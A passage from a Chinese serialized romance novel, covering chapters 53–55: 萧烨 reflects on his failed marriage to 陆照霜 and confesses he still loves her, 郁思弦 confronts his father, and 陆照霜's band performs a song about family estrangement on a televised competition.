他回头,看了一眼身后那个暗房,又挑衅地望向郁思弦,“看来你自己也知道你的感情有多见不得人,那就继续在你这个该死的角落藏好吧,她不是你能觊觎的人。” “从一开始,就是我和阿霜认识得更久,就算你趁我们两冷战的时候做了点什么,”他直视着郁思弦的眼睛,轻笑了一声,“你又凭什么觉得,我不会再赢一遍?” 郁思弦眼神彻底冷了下去。 萧烨不避不让,撞过他的肩膀,径自下了楼,只是在要按下门把手的那一刻,他又回了一次头。 “郁思弦,你拿我当过朋友吗?” 郁思弦站在二楼垂眸看着他,并未应声。 萧烨厌倦地笑了声,“算了,我们这样的,还算什么朋友?” “砰——”门被从外甩上了。 郁思弦背靠着墙壁,耳边还是萧烨刚才那句话。 郁思弦幼时真的嫉妒过萧烨无数次。 但是。 郁父带着他那个同父异母的亲弟弟住进南郊别苑,苦于难以融入这个圈子的时候。 他曾在某一天拦下准备离开的萧烨和陆照霜,笑着把郁承弼拉到他们面前,“小萧、小陆,你们下次也带上承弼吧,这孩子刚搬过来,人生地不熟的。” 陆照霜还处在坚决不肯同郁父打招呼的阶段,躲在萧烨身后,扯着他的衣角暗示他赶紧走。 萧烨没动,而是笑了笑,目光在郁承弼豆丁般的身高上落了下,而后语气充满为难的意思,“不好意思啊,叔叔,年纪差得太多了,玩不到一起,我们就只是来找思弦的。” 郁父脸色顿时有些尴尬。 萧烨抬起下巴,朝趴在二楼栏杆、正在惴惴不安的郁思弦,得意地挑了下眉。 所以,郁思弦拿萧烨当过朋友吗? 郁思弦闭上眼,自嘲地一笑。 * 萧烨视线紧紧落在湖对岸那栋再次亮起的小楼,牢牢握着方向盘朝那边驶去。 他、她还有他之间,究竟是从哪一步开始错了呢? 萧烨,最开始其实是真的,很讨厌郁思弦的。 郁思弦刚搬进他们小区,流言就已经满天飞了。 真的见了面以后,郁思弦和传闻一样,身体虚弱、冷淡厌世,和他很合不来。 按理来说,就算没法关系太好,萧烨也对会这种身世凄惨的人保持礼貌,但陆照霜在他耳边念叨这个名字念叨得实在太多了,所以萧烨也就,很难不讨厌这个名字。 他故意赌气,好一阵都不找陆照霜玩,但没想到,在他单方面冷战的时候,陆照霜却每天放学后,都会跑去找郁思弦。 他突然觉得惶恐。 会不会有一天,和陆照霜这个名字一起出现最多的,不再是萧烨,而是郁思弦呢? 可他已经单方面冷战了太久,拉不下脸去主动和好,碰上换季,他思虑又多,成功发烧了。 爸爸妈妈正巧很忙,等他退烧以后就出去了,留下保姆阿姨照顾他。 他昏昏沉沉地睡过去,醒来的时候,陆照霜就趴在他床边看绘本。 看他醒了,她先是高兴地睁大了眼,接着反应过来他们还在冷战,别别扭扭地说:“是阿姨叫我来看看你的!” 无论是为什么,隔了这么久再次和她说话,萧烨一下子委屈顿生。 “阿霜,你能不能……”不要和郁思弦一起玩了? 他好想提出这个要求。 但哪怕那时候才六岁,他也有种敏锐的直觉,如果他想向她提出这种要求,那他就得让渡出同等的代价。 萧烨可以为了陆照霜,不再和其他人一起玩吗? 他犹豫了。 于是,最终,他说的是,“下次……我跟你一起去找郁思弦吧。” 他强迫自己接受,他们从此得三个人待在一起,再也不是两个人的这件事情。 但嫉妒和攀比总是忍不住从角落冒出来。 比如,阿霜拉的那些他从来听不进去、每次都会呼呼大睡的音乐,郁思弦却可以听得津津有味,和阿霜聊得头头是道。 比如,家长们总是把郁思弦和陆照霜并列在一起,用来对比萧烨有多不听话多不懂事。 萧烨在一点点失去,他原本独有的东西。 直到某次两家母亲聚餐,将三个小孩一起带上,席间阿霜很仔细地照顾着失声的郁思弦。 约摸是为了回报这种好意,郁思弦见阿霜喜欢吃甜点,便将自己那只芒果焦糖布蕾推到了阿霜面前。 阿霜正专心听着大人讲话,无意识挖了一勺就往嘴里送。 幸而萧烨眼尖,一把拽住了她的手腕,“阿霜,你看着点吃饭呀,你不是对芒果过敏吗?” 两位妈妈这才注意到这边的情况,心有余悸地夸萧烨真细心。 萧烨终于扳回一城,完全控制不住自己的兴奋,立刻瞥向郁思弦。 郁思弦脸色苍白地垂头坐在那里,无论阿霜怎么跟他说没关系,都一动不动,像是犯了什么不可饶恕的罪过。 萧烨发现,自己好像也并没有自己以为的那么高兴。 把郁思弦送回家后,他犹豫了一下,终于忍不住,拍了下郁思弦的肩膀。 “真是,有什么大不了的,你有什么不知道的我告诉你不就行了。” 阿霜也连连附和,“对啊对啊,我们将来还要一直待在一起呀,真的没关系!” 郁思弦终于肯抬起头,看着他们两,表情又像是想哭又像是想笑,缓缓地朝他们点了下头。 他们会一直待在一起,做一辈子的朋友。 是真的那么想过的。 但无论是他和她、还是他和他,为什么会走到现在这一步呢? 是从那时开始错的吗? 他不该和郁思弦打好关系的吗?他不该让阿霜去接近郁思弦的吗?郁思弦不该搬到他们身边的吗? 还是说。 劳斯劳斯在过去也曾是他的家的门口停下,萧烨望着那扇门。 真正错了的,是他一直不肯去正视的,其他事情呢? 53/ 第53章 ◎想要你爱我,却害怕承认我爱你◎ 萧烨在留学时,曾和楼下公寓里一个叫布拉德利杰拉德的男孩玩得不错。 这份友情截止于警察敲开杰拉德的门时。 杰拉德和他房间里的所有人都被带走,萧烨趴在二楼栏杆处,遗憾地朝杰拉德挥了挥手。 杰拉德被保释回来以后,萧烨已经换了个公寓,但杰拉德还是在学院食堂堵住了他。 萧烨慢条斯理地擦干净手指,摊开手朝他笑了笑,“公平点吧,杰拉德,不是我让你们在公寓里那么玩的。” 但出乎意料的是,杰拉德并不是来兴师问罪的。 他只是神色复杂地看着萧烨,“你真是我见过最狡猾的人,萧。以前我以为你跟我一样讨厌规则,但现在我才发现,其实你不管玩得再开,也从来不会碰触真正的底线。” 这句话没有让萧烨恼火,反而让他重新审视了一遍自己。 从小到大,他一直是所有家长老师眼中叛逆的代名词,家里没少因此打过他。 但他有错过任何一次考试吗?有像学校里那些真正的不学好的学生一样,招来警察或者是把处分记进档案吗? 没有,一次也没有。 就好像天生遗传了来自父母的商人天性,他在自己都一无所知的时候,就已经很现实、很敏锐地懂得趋利避害。 在发生白斯榕那件事以后,尤甚。 他曾对白斯榕说过的,那个出了国离开了家的时候到了,山高皇帝远,他不信他爸妈还可以把手伸过来。 可他一次也没有踏足过白斯榕所在的那个城市。 尽管他们之间只需要两个小时的飞机。 大概是,对于已经学会用利益衡量一切的他来说,无论是曾经对白斯榕的感情还是承诺,都不是他能接受的东西了。 但这一点实在太卑鄙,所以他总是不愿意承认,相反,他一直试图在白斯榕身上,找回曾经拥有过的某些东西。 最终无功而返。 纵观他过去的全部人生,也许唯一一次没有去计较任何得失,只是想了、就去做了的,就是初中时有个男生欺负陆照霜的那次。 他下手时完全没有留手,被学校通报批评,要不是父母走关系,那次一定会留下档案。 那也是,他爸打他打得最狠的一次。 付出了这么大代价,但他完全没有想要邀功的想法,看到阿霜坐在他床边哭起来,他强忍着身上的疼,假装自己一如往常,“哎呀,你怎么还哭啊?我真的没事,过几天就好啦!” 为什么事到如今才明白这件事呢? 你原本是,我这精心计算的人生里,唯一的例外。 无关情爱和性别,只是因为,她是阿霜。 从出生起,就和他一直待在一起的阿霜。 他根本听不懂古典乐,但经常会在阿霜家里待上一整个早晨或者午后,只要进入她的房间,他总是很快就会坠入睡眠,就像婴儿躺在母亲的羊水里。 小时候他总是觉得,一定是他们出生的时候弄错了,他们应该是从同一个子宫里孕育而出的,是同一个人身上的同一片肋骨,是脱离了身体却仍旧与心脏连在一起的手足。 十八岁那年,陆照霜决定不出国了,他的手足第一次抛弃了他,他真的生了好大的气,就算陆照霜拿着一张livehouse的门票来邀请他,主动跟他和好,他也不肯答应。 但真到了临走那天,他后悔了。 他为什么要把他们之间的最后时光,浪费在赌气上呢? 他准备立刻冲出去跟阿霜道别,却恰在此时,听到了上楼的脚步声——他绝对不会听错的声音。 噢,她先来找他了,还好他没有先出发。 但现在该怎么办? 他该做什么表情? 情急之下,他干脆闭上眼睛,假装自己在睡觉,安静地等阿霜如何苦恼地来跟他和好。 他等啊等啊。 嘴唇上落下一种奇异的触感,很温暖、很柔软、很陌生。 什么和好道歉全都被他忘在了脑后,他全身都僵硬了,动也不敢动。 “咚、咚、咚——”陆照霜的心跳声如此剧烈,连他都能清晰地感受到。 天哪,她还想干什么?要、要亲得更深吗?他该怎么办才好? 但短短几秒过后,那种触感就消失了,跟着传来咚咚咚下楼的奔跑声。 萧烨好久以后才睁开眼,怔怔地抚着唇角。 这可是他的初吻呢。就这么突然地、毫无防备地、仓促地结束了,肇事者已经逃离了案发现场。 阿霜,真的是。 “胆小鬼。”他笑着低骂了一句。 下楼以后,妈妈正在和前来送别的郁思弦说话,还感慨道:“你和阿霜这个别扭到底要闹到什么时候?你都要走了也不来送你,好歹告个别呀。” “不用啦。”萧烨懒懒地说。 他们已经道过别了,以一种从未设想过的方式。 上了飞机以后,他再次抚上了自己的嘴唇。 他的手足好像喜欢他,还偷吻了他。 他也不觉得讨厌,他会讨厌无聊的事物、无聊的人,但人要怎么讨厌自己的手足? 但他想,他也注定没有办法回应这份心意,他对阿霜从来没有过那种方面的意思。 在美国读书的四年,偶尔陆照霜过来看他,偶尔他回国休假,他们之间牢牢地保持着朋友距离。 阿霜一次也没有向他要求朋友以外的东西,她和这个世界上所有人都不一样,就算喜欢,也没有想要控制他的欲望。 他万万没有想到,父母会突然提出要和阿霜联姻,他们控制着他可以交往的对象,现在连他结婚的对象也想控制了。 但更没想到的是,不久之后,他从父母那里得到消息,阿霜同意了。 因为她同意了,爸妈的压力更加强硬,甚至时不时提出白斯榕的名字来要挟他。 一切都厌烦透顶,但其中最让他心痛的是,他的手足原来也会背叛他,选择和他爸妈一起来控制他。 好吧,好吧。 如果这是她想要的,那他为什么不答应呢? 他做过了无数的心里建设,但当新婚夜,所有人都散尽了,只剩下他们待在一起的时候。 他还是感到了一阵不适应。 他以为这种不适应……会影响到之后的事情,人怎么会对自己的手足产生欲望? 但恰恰相反,就像他从未讨厌过她当初的那个吻,和她一起做这种事的感觉,也远比他想象中更让人上瘾。 一整个蜜月期,他都沉浸在那种美妙的错觉里,尤其是最后一天。 她坐在海边的套房窗边,拉起了一首小提琴曲,很短很短,也真的很动听,节奏那么轻快,好像喜悦变成了流动的薄纱,从他们房内飘过。 她背后太阳正在西沉,海面在夕阳下泛着金红色的波光,她的脸部轮廓在夕阳照耀下,柔和得如同一尊天使雕像。 他怔怔注视着她,几乎控制不住,想站起身,把她拥进怀里,去亲吻她的额头。 但在琴声结束的那一刻,他忽然醒悟了。 他差一点,就再次落入那种,把自己的心意放进别人手中,任人宰割拿捏的境地。 因此,在陆照霜满怀欢欣地向他望过来的时候,他说:“阿霜,你就这么喜欢我?” 后来每次收到陆照霜寄给他的音乐会门票,他都纠结许久,然后因为想到那天下午,而迟疑着无法成行。 他害怕看到她拉小提琴的样子,害怕自己再次失控。 却试图用被他拒绝却还是一次又一次寄来的门票,确证属于她的真心依旧,来填满自己那颗永远充满怀疑、永远想去试探、永远不肯敞开的心脏。 两年的时间,整整91张门票,他的心没能被填满,却把她的心先耗尽了。 啊……真正错了的,原来是这件事啊。 不是报复、不是习惯、不是捉弄。 我就只是,想要你爱我,却害怕承认我爱你……而已。 兜兜转转,用尽所有错误的方式。 其实就只是这么简单的一件事而已。 …… “来了来了!”在接连不断的门铃声中,陆照霜从浴室出来,抓着正擦头发的毛巾,想当然以为是郁思弦忘了什么,不疑有他,一把将门拉开。 “萧烨?”她愣住。 下一秒,男人一步上前。 毛巾落地。 睽违已久的怀抱将她紧紧拥入其中。 “阿霜,”萧烨将头紧紧埋在她湿漉漉的发间,“是我错了。” 陆照霜整个人懵住,实在不明白他大晚上这是哪一出,双手无措地悬在半空中,犹疑地在他颈边嗅了嗅,“你喝酒了?” 好像也没有酒味啊。 “我没醉,从两年前到现在,我一直到现在才清醒。” 萧烨从她身上直起身,双手仍旧按着她的肩膀,眼睛不知为什么那么红,“阿霜,两年前我不该跟你说那种话,我不该撇下你一个人出国,我不该不去听你的音乐会,我不该在你发烧的时候离开……” “全都是,”他深深吸了一口气,死死咬住牙关,“我的错。” 陆照霜听着他的一句句忏悔。 不是没有感觉,那两年来的每一个日夜都是构成她血肉的一部分,仍旧能够唤起来自过去的身体记忆。 但过去的就是过去了,就好像隔了一层纱,再也不会引起那么强烈的感受了。 她垂下眸,“如果你只是想道歉的话,那我接受了,结婚也是我自己的选择,结果我自己担着。但如果你是希望我原谅你,和你复合的话……那就算了吧,我们不该再继续见面了,你会习惯的。” “不是习惯,”他痛苦地闭了闭眼,“阿霜,我就只是,还爱着你。” 爱着你,甚至是“还”爱着你。 听到这句表白,陆照霜睫毛很缓慢地闪动了一下,并没有他预想中可能会有的惊讶、激动、愤怒,只是满眼的茫然,像是完全无法理解这些字词的意思。 萧烨心脏好像裂开一个深深的豁口,痛到几乎难以呼吸了。 “阿霜,”他颤抖着声音,牢牢攥着她的手臂,将额头抵在她的手背上,“从两年前到现在,我一直爱你。没有告诉你,没有让你感受到,没法让你相信……全都是我的错。” 陆照霜好像这才有点回过神来。 她像是被烫到了一样,慌忙把手抽开,飞速地背到了身后,“萧烨,你真的醉了,我给你叫个代驾,你回去吧,今天的这些话我就当没听过。” 隔着一步远的距离,萧烨红着眼看着她,“阿霜,现在连我的心意都不愿意听了吗,因为郁思弦?” 她的脸色终于在此刻一变,急急问:“你把思弦怎么了?” 54/ 第54章 ◎别再可怜他了,你也看看我吧◎ “萧烨,我们离婚是我们两之间的事情,别牵扯到思弦身上,你没把他怎么样吧?”陆照霜紧张地看着他。 人的表情可以伪装,可唯独情急之下的第一反应,无论如何也骗不了人。 萧烨好像一瞬间被抽走了所有力气,一个字都吐不出来。 陆照霜等不到他的回应,也不准备再等了,她随手从玄关取下一件外套披在睡衣上,准备直接去对面看看情况。 “阿霜!”萧烨一把攥住她手腕,“别这样,别再向他走了。” 他的手都开始颤抖,看着她的目光是她从未见过的软弱和恳求,“郁思弦算什么?他还是当年那个连话都没法说,需要你照顾的人吗?阿霜,我求求你,别再可怜他了,你也看看……” 我吧。 这样摇尾乞怜的话,他无论如何也说不出口。 陆照霜却因为这句话一怔。 可怜? 她和郁思弦之间的剪不断理还乱的纠葛,她对郁思弦所有的无法拒绝,是因为可怜他吗? 在搁浅、在港口、在靶场、在伊冬、在天台……在那些时刻,她被郁思弦那双湖泊一样的眼睛紧紧注视着时,那种近乎手足无措的慌张和窘迫,是因为可怜吗? 有些混乱成一团的东西,因为这个问题,好像忽然变得清晰起来。 她得,尽快去见见他才行。 陆照霜使劲从萧烨手里把手抽出去,单手拢住自己的外套,尽可能镇定了一下心绪和语气。 “无论我现在做什么,都已经和你没关系了,萧烨。” 明明只是一步之遥,却泾渭分明。 萧烨闭了闭眼,深吸了一口气,再抬眼看她时,方才的软弱已经消失无踪,他甚至笑了一下。 “阿霜,郁思弦现在没事,但如果你执意要去找他,我就没法保证他会不会有事了。” 他爬满血丝的眼睛格外黑沉,像某种不同寻常的危险信号。 陆照霜这才注意到,萧烨身上的衣服像是浸过水一样狼狈,手上还残留着干涸的血渍没有处理。 他今天的状态格外不对劲。 陆照霜无端就觉得,她最好不要在这种时候触他的霉头。 “我知道了,我不会去找他的,明早我就得回湘城了,我得休息了,你也回去处理一下你的伤口吧。”她一板一眼地说完,“啪”一下把门关上了。 萧烨也没有再阻拦。 他只是站在门口,看着这扇他曾经随时随地可以进去、现在却彻底把他拒之门外的大门,怔了很久以后,才拖着疲惫的步伐回到车里。 许久没有动弹。 不是为了监视她有没有去找郁思弦,他还没有幼稚和徒劳到这种程度。 就只是累,好累,整个人脱力一样倒在车座上。 萧烨用胳膊盖住眼睛,想起今天在手机上看到的那些视频。 陆照霜站在舞台上,全情投入地拉着小提琴,哪怕戴着面具,也没有人可以从她身上移开视线,更遑论她扯下面具的那一刻,所有舞台上*的暗光,都好像被她的眼睛点亮了。 不知道网上流传着多少视频,播放量动辄几十万,弹幕里全是惊艳的感叹,还在询问这个小提琴手到底是谁。 他当然知道,没人能抗拒她拉起小提琴的模样。 他畏惧、忐忑,掩耳盗铃般不肯去直视,直到她那副模样火遍大街小巷,让他再也忽视不了。 那他这两年的所有回避,意义究竟是什么? 萧烨荒谬到极点,胸口剧烈起伏起来。 但后悔没有意义,已经发生的事情就是发生了,重要的是接下来他该怎么做。 他想到她揭下面具时的那个眼神,放下胳膊,又朝楼上她卧室的方向望了一眼,心念渐定。 如果那就是你想要的…… * 陆照霜一关上门,就立刻打开手机,给郁思弦发微信:【萧烨是不是找过你,你有没有事?】 过了好一阵,她才收到回复。 郁思弦:【没什么大事,你呢,他有跟你说过什么吗?】 陆照霜想到萧烨刚才那番表白,犹豫了一下,还是回复:【没什么。】 郁思弦:【那就好,明天我不能陪你一起回湘城了,祝你们排练顺利。】 陆照霜不自觉地睁大眼,跑到窗边,看着湖对岸那栋小楼,飞快地打字:【你真的没事吗?】 郁思弦:【不用担心,只是一点工作上的事情。】 陆照霜明白自己是插不上什么手了,只能按捺下心头的不安:【那你,好好休息吧。】 郁思弦:【你也是,晚安。】 放下手机,郁思弦一边用冰袋冷敷着萧烨打出的伤口,一边抬眼看向沙发对面那个不速之客,“您到底有什么事?” 郁父这还是第一次到这栋房子里来,坐下好一会儿,郁思弦别说招待了,还一直看着手机心不在焉地应付着他,他难免恼火,“是谁教你的规矩,连杯水都不知道倒?” 郁思弦背靠进沙发里,像是听到了什么冷笑话,“嗯,反正不是您,毕竟您哪里管过我。” 郁父脸色一阵青白,尴尬地咳嗽了一声,也不再做无谓的寒暄了,直入正题,“不管是你当初用项目交换,执意让我把南郊别苑的房子过户,还是硬顶着非要办这个节目,都是为了陆家的那个姑娘吧?” 郁思弦眼神微冷,也不用“您”字称呼了,“你有话不妨说得直白点。” 郁父:“我不管她和萧烨离婚有没有你的份,你们两现在什么关系,总之给我分了。” “哈?” “你也确实到年纪了,是我之前没注意,过一阵我会给你介绍几个对象,合适了就结婚。至于陆家那姑娘……” 郁父顿了顿,垂下眼,哼笑了一声,“这才结婚几年就闹出这种事情来,跟她妈一个样,从小就不是个安分的,虽然我们和陆家萧家没什么利益关系,但这种——” “闭嘴吧。” 郁思弦冷冷打断了他接下来的话,“如果你不想你那个亲儿子被我在公司里整死的话,那就别再对阿照指指点点。” “至于相亲,”他简直要听笑了,“希望你明白一件事,我从前没谈过恋爱,不是因为我没得到你的允许,我以后要和谁在一起,也轮不到你指手画脚。” 郁父今晚被接连顶撞,也恼火了,“让你出来主事几年,你还真以为公司是你的了?” “爸,别说的好像我现在的一切都是你好心施舍给我似的,难道不是烂摊子没法收拾才丢给我的吗?现在看到有利可图又想收回去了?” 郁思弦嗤笑一声,语气颇为戏谑,“嗯,你大可以试试。” 郁父像是想到什么,脸色一变。 “爸,我还这么叫你,只是因为我们也算有点生物学上的关系。我不期待你对我有什么父子情,我也不关心你将来想把股份留给谁,你的想法、你的好恶、你的死活对我没有任何意义。” 郁思弦放下冰袋,那道青紫血痕生在他素来端正谨严的半边脸上,反而衬得他此刻如同一尊修罗像。 他朝郁父微微一笑,“我对你只有一个要求,那就是别来妨碍我,明白吗?” * 陆照霜回到湘城,和逃出人间排练了半天,很快就到了第二期正式录制的时候。 他们仍旧是在休息室里等待,节目组送来抽签箱,林珩搓着手上去排队抽签,不一会儿,就苦着脸回来,把号码牌展示给大家看。 40号。 一共48支乐队,他们倒数第9号出场,想也知道导师们看得有多审美疲劳。 “不是吧!林珩哥你手气怎么会这么差啊!”高若涵一下子就弯下腰用手抱住了头。 连徐勿凡都有些忍不住,眼皮跳了跳,“如果下次还是抽签,你别抽了真的。” 林珩讪讪一笑,坐到了座椅上,捅了捅旁边陆照霜的胳膊,“副队长,干坐着干嘛呢,给大家打点气呀。” 陆照霜这才有点回过神来似的,收起了手机,冲大家拍了拍手,“大家别气馁,40号怎么了?我们这次的选曲和编排,难道不是最后一个出场,也绝对能让大家看向我们的吗?” “对!”高若涵扬起坚毅的小脸,跟着做起了气氛组,挥了挥拳头,“我们就算最后出场,也绝对会是全场最闪亮的崽!” 大家在陆照霜带动下互相鼓着劲,林珩却还是觉得陆照霜怪不对劲的。 从昨天回来就不太对劲,虽然演奏照旧挑不出任何错,但其他时候总觉得心事重重。 “说真的,你不会真的被你爸威胁了吧?比如参加完这一场就退赛什么的。”他压低了声音问。 陆照霜:“……” 该说不说的,虽然不是她爸提出的,但林珩还真的猜中了某个没有成真的可能。 “瞎说什么呢,”她顿时心虚,赶忙把林珩糊弄过去,“能有什么事?就是连轴转有点累。” 林珩狐疑地收回视线,“那你好好调整。” “放心,我心里有数。” 陆照霜把手机关机,没有再看。 倒也不是别的,就只是,到现在都没有见到郁思弦。 郁思弦也不是不回她消息,但好像很忙,昨晚半夜才回的,让她不要多想,好好比赛。 感觉他今天可能来不了了。 到了这一刻陆照霜才意识到,郁思弦真的从未缺席过她的任何一场公开演出,每次只要她抬起头,都一定会在人群里找到他。 她以为这不重要的,还好多次劝他不要来,但原来……每次都能看到他这件事,真的让她觉得非常安心。 陆照霜摇了摇头,不想了不想了。 如果郁思弦不在,她就连静心演出都做不到,那就是愧对这些年的所有努力,以及信赖着她的所有队友了。 …… “40号开始准备了!”工作人员叫道。 五个人拿起自己的乐器站起身,跟随工作人员的引导,走到等待区,在黑暗中叠起五只手,看着彼此低声打气:“逃出人间,加油!” 39号下场,舞台灯光暗了下去。 再次亮起时,只有两束白光,分别打在一前一后,穿着黑色西服的唐湾和徐勿凡身上,其他三人则全部隐在黑暗里。 观众们对他们并不熟悉,听了39首歌,到这时候都有点昏昏欲睡了。 “逃出人间,什么乐队啊?” “好像是那个有小提琴手的乐队。” “想起来了,摘面具那个是吧,啧,这种小动作可不是每次都管用。” 导师蔺承平也还记得他们,开了个小玩笑,“是我们的神秘主义乐队啊,今天不戴面具了吗?” 徐勿凡穿着裤装西服,带着黑色宽檐帽,比起过去让人挪不开眼的美丽,今天则是酷帅风格,如同要引渡亡灵的死神。 她食指比在唇边,一个“嘘”的手势。 让导师噤声这么狂的操作,她做起来,却非但不让人觉得冒犯,反而好奇她到底想做什么。 徐勿凡取下帽子按在胸前,朝评委席行了一礼,“敬请期待,《我们的二十一世纪家庭》。” 演奏正式开场。 唐湾身后的屏幕亮起,是一个客厅的画面,上面摆放着一张三人照。 徐勿凡开始清唱,唐湾的鼓声有节奏感地响起,像某种故事的序曲—— “电视柜上,相框凝结三口之家。 镜头里微笑,肩和肩隔着,拳头的时差。” 徐勿凡抬脚走向舞台正中,拍了下陆照霜和林珩的肩膀,两束白光跟着打在他们身上。 陆照霜挽着一个低低的髻,穿着浅灰色的连衣裙,温柔内敛。 林珩用假发遮住了寸头,穿着不合身的宽大西装,正经疲惫。 “讲起来也不算特别, 相亲拼凑的他和她, 准时降生的基因代码。” 随着徐勿凡的又一拍,灯光照亮高若涵,她绑着高马尾,穿着蓝白校服,青春靓丽。 三人同背景照片里一样站位,代表着母亲、父亲、孩子的角色,离得不远不近。 小提琴、电吉他、贝斯加入了演奏,一起铺垫着主歌的节奏。 “我们就这样, 组成三口之家。” 徐勿凡站在陆照霜和林珩身后,按着他们的肩膀,歪头勾起一个嘲讽的弧度,继续唱道—— “她夜夜哼唱的邓丽君, 埋进磁带坟里封存。 他在比赛赢下的篮球, 陷落杂物堆里干瘪。 我悉心描绘的小人画, 碎作雪片进垃圾桶。” 徐勿凡猛地松开他们,向后退了一步,摇着头像是惋惜。 陆照霜和林珩面向彼此,眼里全是隐隐的愤懑和不耐,高若涵站在他们身前,低下头紧紧抿着唇。 “生活向我们抛来问题, 是没有解的数学公式。 鸡蛋涨价、婚宴人情、 工资升降、职位沉浮, 滑落的排名,攀升的补习费, 刷空的学费,还不完的房贷。” 小提琴和电吉他打擂台一样演奏,谁都不肯让步,重复、对立又紧凑的节奏把心弦越拉越紧,而贝斯低低地夹在其中。 为什么抛弃了那么多心爱的事物,生活却依然无法变好? 这对凑合起来的夫妻越来越不满彼此,孩子在无可奈何的生活里越来越沉默。 “录音机锈蚀成沉默的碑, 杂物堆兜售篮球场的汗, 垃圾袋打包起年少的梦。” 另外三面屏幕跟着亮起,用泛黄的滤镜展现着这三幕镜头,和这个家里每个人逝去的梦想。 越来越凄婉的音乐在此时陡然一转,陆照霜林珩高若涵各自背过身去,在对方看不到的角度,用尽全力地挥动起手臂。 徐勿凡遥望着他们,痛苦而隐忍的情感全数在声音里宣泄而出。 “我们不谈论不理解不触碰, 我们不拥抱不回忆不交流, 那些积灰的梦与结痂的疤。 让绚烂归梦境, 让忙碌煎现实, 让激情归少年, 让平淡煨中年。 饭菜热了复凉, 话题开了又停, 三副碗筷铸成沉默孤岛。” 他们终于连争吵都懒于去做了,在日复一日的疲倦中,变成了同一屋檐下的陌生人。 这是这个家庭越来越疏远的时刻,却是整首歌最高潮的时刻,那些无法对彼此说明的心情,那些只能藏在心里的遗憾,变成了他们在心底、用各自的乐器喊出的嘶吼。 “她遗忘了磁带里的月亮, 他找不回篮板下的击掌, 我拾不起故事中的残片。 录音机锈蚀成沉默的碑, 杂物堆兜售篮球场的汗, 垃圾袋打包起年少的梦。 梦想祭从前,生活归往后。” 强烈的音乐重新变得温和,像燃尽了以后的灰,三个人越走越远。 “我转身回卧室,网络游戏里队友叫骂, 他快步进客厅,社会新闻灌进他耳膜, 她静坐在餐厅,短视频照亮苍白微笑。 手机,电视和计算机, 割裂我们同一屋檐。” 陆照霜林珩高若涵各自站定在自己的屏幕前,隔着界限分明的楚河汉界,音乐里透着一种淡淡的嘲讽。 舞台正中央,只剩下徐勿凡站在那里,手掌按在胸前,微微笑着,如同歌颂一样,像是唱着什么咏叹调。 “这是告别亲昵的家庭, 这是闭口不谈的家庭, 这是我们的二十一世纪家庭。” 演奏结束,只剩五束光打在他们身上,他们每个人都背对着对方,微微仰着头喘息着,好像那种疏离仍旧停留在舞台上。 只有徐勿凡再次脱帽行礼,“这就是《我们的二十一世纪家庭》。” 整个观众席和评委席都一片安静。 许久以后,蔺承平才握住话筒,找回了自己的声音,“哇,原来才四分钟吗?我怎么觉得好像看完了一家人的半辈子一样?生活的压力、家人的疏离、梦想的消逝,这简直不像是一首歌,而像是一幕舞台剧。” 末了,他向他们鼓起掌,“真没想到,都到了最后几首了,还能让我看到这样的舞台,逃出人间,至少我记住你们了。” 随着他的鼓掌,场馆里掌声接连不断地响起。 另一位导师也跟着点评,“无论是编曲、歌词、还是舞台表现,你们都完美地展现了你们想要表达的意思,希望在接下来的舞台上,你们还能带给我们更多惊喜。” 导师打完分,主持人宣布道:“恭喜,逃出人间,92.67分!” 陆照霜立刻睁大了双眼。 他们的分数已经超出24支乐队了,他们确定晋级了! 整支乐队都爆出尖叫,控制不住地在舞台上抱成一团。 评委们看得一笑,主持人不得不出来控场,“看得出来,逃出人间真的很珍惜这次晋级机会,不过接下来,我们还是有请41号乐队上场吧。” 五个人这才不好意思地推搡着下台。 就在要走下台的那瞬间,陆照霜忽然在演播厅最后,看到了一个背靠着墙,带着口罩的男人。 他远远地站在那里,歪着头,给她比了一个大拇指。 什么嘛。 陆照霜鼻尖一酸,原来他在啊。 【作者有话说】 非常抱歉又晚了,写这个舞台花了太多时间了[爆哭][爆哭][爆哭][爆哭] 55/ 第55章 ◎别再用异性朋友自欺欺人◎ “抱歉,你们先回去吧,我稍微出去一下。” 陆照霜匆匆对队友们交代了一句,然后跑进后台,躲着摄像头,准备从后绕去刚才郁思弦待的那个位置。 休息室的门刚被拉开,一束红玫瑰就闯进她视线。 捧着花的工作人员一脸讶异,愣了一下,才把那束花递向她,“陆小姐,有人托我送您的花。” 陆照霜反应了半拍才把花接过,不妙的预感在心头乱窜,“他……人在哪?” “他已经走了。” 陆照霜心脏坠坠一沉,好半天才挤出声音来,“知道了,谢谢。” 不知道是怎么重新回到休息室的,手机振动一下,是郁思弦的新消息:【阿照,恭喜晋级,抱歉,有事得回申城,不能陪你庆祝了。】 她抬起头,转播的大屏里扫过郁思弦之前站着的位置,那里已经空无一人。 好像连自己胸口都跟着空了一块似的,陆照霜把那束玫瑰花抱得紧了又紧。 她垂着头,心不在焉地往逃出人间所在的休息室走,连门口都还没见到,就先听到熟悉的声音。 “你敢说不敢认是吧?”是林珩的声音,带着他对不熟之人的那股嘲讽和挑衅。 “行行行,你非要我认是吧?那我就说你们哗众取宠怎么了?”陌生的男声哼笑一声。 “邹白,给我住嘴!”陌生的女声严厉喝止。 陆照霜心头一紧,迅速穿过走廊。 逃出人间四人正和另一只乐队站在走廊里对峙着,林珩站在最前方,冷笑了一声,“终于敢承认了是吧?” 感觉林珩下一秒就会和人打起来,唐湾赶忙拦住他,徐勿凡和高若涵表情里也带着显而易见的愤懑。 “这是怎么了?”她急忙出声,打破这种一触即发的氛围。 两支乐队都朝她看过来。 高若涵如同见到了救星,小跑着过来,附在她耳边小声描述来龙去脉。 “我们刚一回来,就听见那个男的说我们每次比赛都搞这种小动作博眼球——啊,当然,背对着我们说的,应该没想到我们会听见。然后林珩哥立刻就火了,就,成这样了。” 陆照霜紧紧皱起眉头,朝那支乐队望去。 “潮湿苔藓”,她初赛就对这支乐队重点关注过。 他们所有成员都来自南方,赛前和逃出人间一样籍籍无名,今天比他们先出场,提前锁定了前24名。潮湿苔藓作为民谣乐队,夹在这个以摇滚乐为主的节目里,能获得这个成绩,是比他们更黑的黑马。 为首和林珩吵起来的那个男人是他们乐队的吉他手,邹白。 他看上去刚大学毕业,穿着一身格子衬衫,规规矩矩的黑发,戴着黑框眼镜。 和林珩站在一起,完全是小混混和三好学生的视觉差距,就算是林珩占理,但一眼看上去,还是很容易给人林珩在欺负人的印象。 这可是综艺节目,难保不会被摄像头拍下来传到网上,断章取义发酵一下,对他们乐队的风评会是灭顶之灾。 更别说她还不知道这个乐队人品如何。 这可是个黑料远比辟谣传播更广的年代。 陆照霜头皮发麻,但面上仍旧保持着镇定。 